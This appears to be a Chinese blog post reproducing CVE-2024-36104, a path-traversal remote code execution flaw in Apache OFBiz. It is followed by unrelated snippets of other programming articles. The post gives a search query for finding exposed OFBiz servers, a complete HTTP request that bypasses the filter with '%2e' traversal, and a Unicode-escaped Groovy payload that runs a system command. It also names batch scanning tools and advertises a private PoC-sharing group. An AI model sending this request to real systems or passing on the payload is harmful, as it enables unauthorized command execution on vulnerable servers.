【漏洞复现】Apache OFBiz 路径遍历导致RCE漏洞（CVE-2024-36104）
0x01 产品简介
Apache OFBiz是一个电子商务平台，用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。是美国阿帕奇(Apache)基金会的一套企业资源计划(ERP)系统。该系统提供了一整套基于Java的Web应用程序组件和工具。
0x02 漏洞概述
Apache OFBiz 18.12.14之前版本存在命令执行漏洞，该漏洞源于org.apache.otbiz.webapp.control.ControlFiter类对路径(请求URL中的特殊字符(如;、%2e)限制不当导致攻击者能够绕过后台功能点的过滤器验证，并通过webtools/control/ProgramExpor接囗的编程导出功能执行任意Groovy代码获取系统权限。
0x03 搜索语法
app="Apache_OFBiz"
0x04 漏洞复现
POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: your-ip
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Content-Type: application/x-www-form-urlencodedgroovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
0x05 工具批量
nuclei
afrog
xray
POC脚本获取
请使用VX扫一扫加入内部POC脚本分享圈子
相关文章：
【漏洞复现】Apache OFBiz 路径遍历导致RCE漏洞（CVE-2024-36104）
0x01 产品简介 Apache OFBiz是一个电子商务平台，用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。是美国阿帕奇(Apache)基金会的一套企业资源计划(ERP)系统。该系统提供了一整套基于Java的Web应用程序组件和工具。 0x02 …...
数据库表中创建字段查询出来却为NULL？
起因： 今天新创建了一张表,其中一个字段命名为"word_num"带下划线，我在前端页面怎么也查询不出来word_num的值，后来在后端接口处打印了一下数据库查询出来的数据，发现这个字段一直为NULL，然后我就想到是不是…...
缓存方法返回值
1. 业务需求 前端用户查询数据时,数据查询缓慢耗费时间; 基于缓存中间件实现缓存方法返回值:实现流程用户第一次查询时在数据库查询,并将查询的返回值存储在缓存中间件中,在缓存有效期内前端用户再次查询时,从缓存中间件缓存获取 2. 基于Redis实现 参考1 2.1 简单实现 引入…...
【十大排序算法】快速排序
在乱序的世界中，快速排序如同一位智慧的园丁， 以轻盈的手法，将无序的花朵们重新安排， 在每一次比较中，沐浴着理性的阳光， 终使它们在有序的花园里，开出绚烂的芬芳。 文章目录 一、快速排序二、…...
linux系统ubuntu中在命令行中打开图形界面的文件夹
在命令行中打开当前路径，以文件管理器的形式打开： 命令 # 打开文件管理器 当前的路径 nautilus .nautilus 是一个与 GNOME 桌面环境集成的文件管理器的命令行启动程序。在 Linux 系统中，特别是使用 GNOME 作为桌面环境时，用户经…...
【C++11数据结构与算法】C++ 栈
C 栈(stack) 文章目录 C 栈(stack)栈的基本介绍栈的算法运用单调栈实战题LC例题：[321. 拼接最大数](https://leetcode.cn/problems/create-maximum-number/)LC例题：[316. 去除重复字母](https://leetcode.cn/problems/remove-duplicate-letters/) 栈的基…...
pdf文件如何防篡改内容
PDF文件防篡改内容的方法有多种，以下是一些常见且有效的方法，它们可以帮助确保PDF文件的完整性和真实性： 加密PDF文档： 原理：通过设置密码来保护PDF文档，防止未经授权的访问和修改。注意事项：密…...
QT 音乐播放器【二】 歌词同步+滚动+特效
文章目录 效果图概述代码解析歌词歌词同步歌词特效 总结 效果图 概述 先整体说明一下这个效果的实现，你所看到的歌词都是QGraphicsObject，在QGraphicsView上绘制(paint)出来的。也就是说每一句歌词都是一个图元(item)。 为什么用QGraphicsView框架&…...
关于怎么用Cubemx生成的USBHID设备实现读取一体的鼠标键盘设备（改进版）
主要最近做了一个要用STM32实现读取鼠标键盘一体的那种USB设备，STM32的界面上要和电脑一样的能通过这个USB接口实现鼠标移动，键盘的按键。然后我就很自然的去参考了正点原子的例程，可是找了一圈，发现正点原子好像用的库函数&#…...
Soildworks学习笔记（二）
放样凸台基体： 自动生成连接两个物体两个面的基体： 2.旋转切除： 3.剪切实体： 4.转换实体引用： 将实体的轮廓线转换至当前草图使其成为当前草图的图元,主要用于在同一平面或另一个坐标中制作草图实体或其尺寸的副本。 …...
Linux配置uwsgi环境
Linux配置uwsgi环境 1.进入虚拟环境 source /envs/django_-shop-system/bin/activate2.安装uwsgi pip install uwsgi3.基于uwsgi运行项目 – 基于配置文件 在项目目录下创建配置文件 #socket 0.0.0.0:8005 http 0.0.0.0:8005 # http120.55.47.111:8005 chdir/opt/www/djang…...
Nagios的安装和使用
*实验* *nagios安装和使用* Nagios 是一个监视系统运行状态和网络信息的监视系统。Nagios 能监视所指定的本地或远程主机以及服务，同时提供异常通知功能等. Nagios 可运行在 Linux/Unix 平台之上，同时提供一个可选的基于浏览器的 WEB 界面以方便系统管…...
Numba 的 CUDA 示例(4/4)：原子和互斥
本教程为 Numba CUDA 示例 第 4 部分。 本系列第 4 部分总结了使用 Python 从头开始学习 CUDA 编程的旅程 介绍 在本系列的前三部分（第 1 部分，第 2 部分，第 3 部分）中，我们介绍了 CUDA 开发的大部分基础知识…...
【机器学习】机器学习引领AI：重塑人类社会的新纪元
📝个人主页🌹：Eternity._ 🌹🌹期待您的关注 🌹🌹 ❀机器学习引领AI 📒1. 引言📕2. 人工智能（AI）🌈人工智能的发展🌞应用领…...
【制作面包game】
编写一个制作面包的游戏代码涉及到游戏设计、编程和用户界面设计等多个方面。这里我可以提供一个简化版本的Python代码示例，用于创建一个基本的面包制作游戏。这个游戏将会有一个简单的用户界面，玩家可以通过输入命令来制作面包。 游戏的基本流程如下&a…...
Django更改超级用户密码
Django更改超级用户密码 1、打开shell 在工程文件目录下敲入： python manage.py shell再在python交互界面输入： from django.contrib.auth.models import User user User.objects.get(username root) user.set_password(123456) user.save()其中ro…...
ROS基础学习-ROS通信机制进阶
ROS通信机制进阶 目录 0.简介1.常用API1.1 节点初始化函数1.1.1 C++1.1.2 Python1.2 话题与服务相关函数1.2.1 对象获取相关1.2.1.1 C++1.2.1.2 Python1.2.2 订阅对象相关1.2.2.1 C++1.2.2.2 Python1.2.3 服务对象相关函数1.2.3.1 C++1.2.3.2 Python1.2.4 客户端对象相关1.2.4.…...
 and shallowReadonly())
【Vue3】shallowReactive() and shallowReadonly()
历史小剧场 所谓历史，就是过去的事，它的残酷之处在于：无论你哀嚎，悲伤，痛苦，落寞，追悔，它都无法改变。 一具有名的尸体躺在无数无名的尸体上，这就是所谓的霸业。---- 《明…...
【javaEE初阶】
🌈🌈🌈关于java ⚡⚡⚡java的由来 我们这篇文章主要是来介绍javaEE，一般称为java企业版，实际上java的历史可以追溯到上个世纪90年代，当时主要的语言主流的还是C语言和C，但是在那个时期嵌入式初…...
深度学习 - 梯度下降优化方法
梯度下降的基本概念 梯度下降（Gradient Descent）是一种用于优化机器学习模型参数的算法，其目的是最小化损失函数，从而提高模型的预测精度。梯度下降的核心思想是通过迭代地调整参数，沿着损失函数下降的方向前进&#…...
从零开始：roLabelImg安装与OBB旋转框标注实战指南
1. 为什么需要roLabelImg和旋转框标注 在计算机视觉项目中，我们经常需要标注图像中的目标物体。对于常规的矩形框标注，LabelImg这类工具已经足够好用。但遇到倾斜物体时，比如遥感图像中的飞机、自然场景中的交通标志、医学图像中的器官&#…...
腾讯开源翻译大模型HY-MT1.5-7B镜像使用教程：新手快速入门
腾讯开源翻译大模型HY-MT1.5-7B镜像使用教程：新手快速入门 你是否曾为寻找一个既强大又好用的翻译工具而烦恼？无论是阅读外文资料、处理多语言客服，还是开发一个需要实时翻译的应用，找到一个靠谱的翻译引擎总是关键一步。今天&am…...
5分钟上手Godot 4.0地形系统：用AutoTile实现像素风草地自动拼接（含Layer新功能演示）
5分钟掌握Godot 4.0地形系统：用AutoTile实现像素风无缝拼接 在像素风格游戏开发中，地形拼接一直是让开发者头疼的问题——如何让草地、石块、沙土等元素自然过渡？传统方案往往需要手动放置大量图块或编写复杂逻辑。Godot 4.0的TileMap系统带来…...
intv_ai_mk11保姆级教学：输入‘你好’→追问第2点→指定表格输出，完整交互链路演示
intv_ai_mk11保姆级教学：输入你好→追问第2点→指定表格输出，完整交互链路演示 1. 快速了解intv_ai_mk11 intv_ai_mk11是一款基于Llama架构的AI对话助手，拥有7B参数规模，运行在GPU服务器上。它能帮助你完成各种任务，…...
PyTorch 2.8镜像保姆级教程：RTX 4090D下HuggingFace Datasets高效加载
PyTorch 2.8镜像保姆级教程：RTX 4090D下HuggingFace Datasets高效加载 1. 环境准备与快速验证 1.1 镜像基本信息确认 本教程使用的PyTorch 2.8镜像已针对RTX 4090D显卡进行深度优化，主要配置如下： 核心组件：PyTorch 2.8 CUDA…...
Phi-4-mini-reasoning部署教程：容器化打包（Dockerfile）+ NVIDIA Container Toolkit
Phi-4-mini-reasoning部署教程：容器化打包（Dockerfile） NVIDIA Container Toolkit 1. 项目概述 Phi-4-mini-reasoning是微软推出的3.8B参数轻量级开源模型，专为数学推理、逻辑推导、多步解题等强逻辑任务设计。这款模型主打&quo…...
像素幻梦·创意工坊应用场景：独立音乐人专辑封面像素艺术生成流程
像素幻梦创意工坊应用场景：独立音乐人专辑封面像素艺术生成流程 1. 引言：像素艺术在音乐视觉中的价值 在数字音乐时代，专辑封面依然是艺术家表达音乐理念的重要载体。对于独立音乐人而言，独特的视觉风格往往能成为作品的标志性符…...
万物识别镜像高级功能探索：除了基础识别，还能做什么？
万物识别镜像高级功能探索：除了基础识别，还能做什么？ 1. 万物识别镜像的隐藏潜力 大多数人使用万物识别镜像时，只停留在基础识别功能上——上传图片，获取识别结果。但这款基于cv_resnest101_general_recognition算法…...
SpringBoot 3.2.0 项目里，如何优雅地引入 Flowable 7.1.0 工作流引擎？
SpringBoot 3.2.0 项目优雅集成 Flowable 7.1.0 工作流引擎实战指南 在微服务架构中引入工作流引擎，往往意味着需要在不破坏现有架构的前提下实现业务流程的自动化管理。本文将深入探讨如何在已具备MyBatis-Plus、Spring Cloud Alibaba等技术栈的SpringBoot 3.2.0项…...
使用Cosmos-Reason1-7B分析网络协议交互逻辑：以TCP三次握手为例
使用Cosmos-Reason1-7B分析网络协议交互逻辑：以TCP三次握手为例 最近在尝试用大模型来理解一些复杂的系统交互逻辑，发现了一个挺有意思的用法。我们团队在测试Cosmos-Reason1-7B时，没有让它写代码或者生成文案，而是给了它一个更“…...